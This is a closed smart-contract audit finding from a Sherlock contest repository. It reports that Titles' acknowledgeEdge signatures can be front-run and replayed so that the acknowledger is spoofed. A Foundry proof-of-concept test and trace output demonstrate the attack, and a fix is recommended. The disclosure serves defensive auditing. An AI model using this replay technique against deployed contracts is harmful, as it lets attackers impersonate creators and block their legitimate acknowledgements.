sherlock-audit / 2024-04-titles-judging

6 stars 6 forks source link

zoyi - Anyone can grieve acknowledgements #304

Closed sherlock-admin3 closed 2 months ago

sherlock-admin3 commented 3 months ago

zoyi

medium

Anyone can grieve acknowledgements

Summary

Front-running and copying an acknowledgement can lead to spoofing.

Vulnerability Detail

A person can call acknowledgeEdge to acknowledge an edge:

    function acknowledgeEdge(bytes32 edgeId_, bytes calldata data_, bytes calldata signature_)
        external
        checkSignature(edgeId_, data_, signature_)
        returns (Edge memory edge)
    {
        return _setAcknowledged(edgeId_, data_, true);
    }

There are two variants, one without ECDSA signature and one with ECDSA signature.

The problem is that a malicious user can front-run any acknowledgement made, spoofing himself as the person that made the acknowledgement. Spoofing the address has been confirmed as a potential issue by the sponsor.

Proof of Concept

Put this in TitleGraph.t.sol:

        function test_poc_ack() public {
        Mock1271Signer signer = new Mock1271Signer();
        bytes memory jtmb = signer.JTMB();
        address malicious_user = makeAddr("malicious_user");

        Edge memory edge = Edge({
            from: Node({
                nodeType: NodeType.COLLECTION_ERC1155,
                entity: Target({target: address(this), chainId: block.chainid}),
                creator: Target({target: address(2), chainId: block.chainid}),
                data: ""
            }),
            to: Node({
                nodeType: NodeType.TOKEN_ERC1155,
                entity: Target({target: address(3), chainId: block.chainid}),
                creator: Target({target: address(signer), chainId: block.chainid}),
                data: abi.encode(42)
            }),
            acknowledged: true,
            data: ""
        });

        // Create the edge
        titlesGraph.createEdge(edge.from, edge.to, "");
        bytes32 edgeId = titlesGraph.getEdgeId(edge);

        // This is a valid sig - this gets front-ran by a malicious user
        // titlesGraph.acknowledgeEdge(edgeId, new bytes(0), jtmb);
        // This call succeed.
        vm.prank(malicious_user);
        titlesGraph.acknowledgeEdge(edgeId, new bytes(0), jtmb);

        // If the original signer wants to sign again it will revert.
        vm.expectRevert(Unauthorized.selector);
        titlesGraph.acknowledgeEdge(edgeId, new bytes(0), jtmb);
    }

If we look at the traces we will see that the malicious_user will be the address that acknowledged the edge:

    │   ├─ emit EdgeAcknowledged(edge: Edge({ from: Node({ nodeType: 2, entity: Target({ chainId: 31337 [3.133e4], target: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 }), creator: Target({ chainId: 31337 [3.133e4], target: 0x0000000000000000000000000000000000000002 }), data: 0x }), to: Node({ nodeType: 4, entity: Target({ chainId: 31337 [3.133e4], target: 0x0000000000000000000000000000000000000003 }), creator: Target({ chainId: 31337 [3.133e4], target: 0x2e234DAe75C793f67A35089C9d99245E1C58470b }), data: 0x000000000000000000000000000000000000000000000000000000000000002a }), acknowledged: true, data: 0x }), acknowledger: malicious_user: [0xe64a85D490F61675575C3070eD653b2f413e3903], data: 0x)

This is especially problematic with the issue of address poisoning.

Impact

A malicious user can craft an address that looks very similar to a big AI artist and spoof an acknowledgement coming from them.

Code Snippet

TitlesGraph.sol#L118-L124

Tool used

Manual Review

Recommendation

Do not emit msg.sender as the acknowledger.

Duplicate of #273